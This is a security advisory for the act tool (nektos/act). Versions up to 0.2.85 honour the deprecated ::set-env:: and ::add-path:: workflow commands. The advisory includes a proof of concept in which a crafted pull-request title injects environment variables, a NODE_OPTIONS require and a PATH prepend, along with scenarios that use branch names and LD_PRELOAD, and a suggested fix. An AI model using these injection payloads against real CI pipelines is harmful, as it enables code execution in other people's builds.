::set-env:: and ::add-path:: Workflow Commands Unconditionally Processed

High **cplee** published **GHSA-xmgr-9pqc-h5vw** 5 days ago

Package

github.com/nektos/act (Go)

Affected versions	Patched versions
<= 0.2.85	0.2.86

Description

Summary

act unconditionally processes the deprecated `::set-env::` and `::add-path::` workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes `act` strictly less secure than GitHub Actions for the same workflow file.

Vulnerable Code

`pkg/runner/command.go`, lines 52-58:

```
switch command {
case "set-env":
    rc.setEnv(ctx, kvPairs, arg)
case "set-output":
    rc.setOutput(ctx, kvPairs, arg)
case "add-path":
    rc.addPath(ctx, arg)
```

There is no check for the `ACTIONS_ALLOW_UNSECURE_COMMANDS` environment variable. The string `ACTIONS_ALLOW_UNSECURE_COMMANDS` does not appear anywhere in the act codebase.

On GitHub Actions, these commands are rejected unless `ACTIONS_ALLOW_UNSECURE_COMMANDS=true` is set:

```
Error: The `set-env` command is disabled. Please upgrade to using Environment File
  or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.
```

PoC: Environment and PATH Injection via PR Title

Tested on: act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0

Step 1 — Create a workflow that logs PR metadata:

`.github/workflows/vuln.yml`:

```yaml
name: Vulnerable Workflow
on: [pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Log PR info
        run: |
          echo "Processing PR: ${{ github.event.pull_request.title }}"

      - name: Subsequent step - check environment
        run: |
          echo "=== Environment Injection Check ==="
          echo "NODE_OPTIONS=$NODE_OPTIONS"
          echo "EVIL_VAR=$EVIL_VAR"
          echo "PATH=$PATH"
```

Step 2 — Create a malicious event payload:

`event.json`:

```
{
  "pull_request": {
    "title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NO
    "number": 1,
    "head": { "ref": "fix-typo", "sha": "abc123" },
    "base": { "ref": "main", "sha": "def456" }
  }
}
```

Step 3 — Run:

```
git init && git add -A && git commit -m "init"
act pull_request -e event.json
```

Result:

```
[Vulnerable Workflow/build]   | Processing PR: Fix typo
[Vulnerable Workflow/build]   ⚙  ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build]   ⚙  ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build]   ⚙  ::add-path:: /tmp/evil-bin
[Vulnerable Workflow/build]   ✅  Success - Main Log PR info

[Vulnerable Workflow/build]   | === Environment Injection Check ===
[Vulnerable Workflow/build]   | NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build]   | EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build]   | PATH=/tmp/evil-
bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[Vulnerable Workflow/build]   | EXPLOITED: EVIL_VAR was injected into this step!
[Vulnerable Workflow/build]   ✅  Success
[Vulnerable Workflow/build] 🏁  Job succeeded
```

All three injections succeeded silently:

- `EVIL_VAR=INJECTED_BY_ATTACKER` — arbitrary env var injected into subsequent step
- `NODE_OPTIONS=--require=/tmp/evil.js` — Node.js code execution vector
- `/tmp/evil-bin` prepended to PATH — command hijacking vector

Attack Scenarios

Scenario 1: Malicious PR title/body. An attacker opens a PR with `::set-env name=NODE_OPTIONS::--require=/tmp/evil.js` embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.

Scenario 2: Malicious branch name. `${{ github.head_ref }}` is attacker-controlled. A branch named `fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so` can inject `LD_PRELOAD`, which causes every subsequent dynamically-linked binary to load the attacker's shared library.

Scenario 3: Commit message injection. If a step runs `git log --oneline` and the output flows to stdout, an attacker's commit message containing `::set-env::` commands will be processed.

Impact

- **Command injection** via env vars: `LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, `PERL5OPT` all enable arbitrary code execution
- **PATH hijacking**: attacker-controlled directory prepended to PATH hijacks any subsequent command

- **Cross-step escalation**: a step that merely logs untrusted data compromises all subsequent steps
- **Supply chain risk**: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security

Suggested Fix

Add a check matching GitHub Actions' behavior:

```
case "set-env":
    if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
        logger.Errorf("The `set-env` command is disabled. Please upgrade to using Enviro
        return false
    }
    rc.setEnv(ctx, kvPairs, arg)
case "add-path":
    if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
        logger.Errorf("The `add-path` command is disabled. Please upgrade to using Envir
        return false
    }
    rc.addPath(ctx, arg)
```

This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via `ACTIONS_ALLOW_UNSECURE_COMMANDS=true`, matching GitHub's approach.

This vulnerability has not been published or shared with anyone else. Happy to coordinate on disclosure timing.

Golan Myers

Severity

High

CVE ID

CVE-2026-34041

Weaknesses

▶ CWE-74

Credits

golang-not-rust Reporter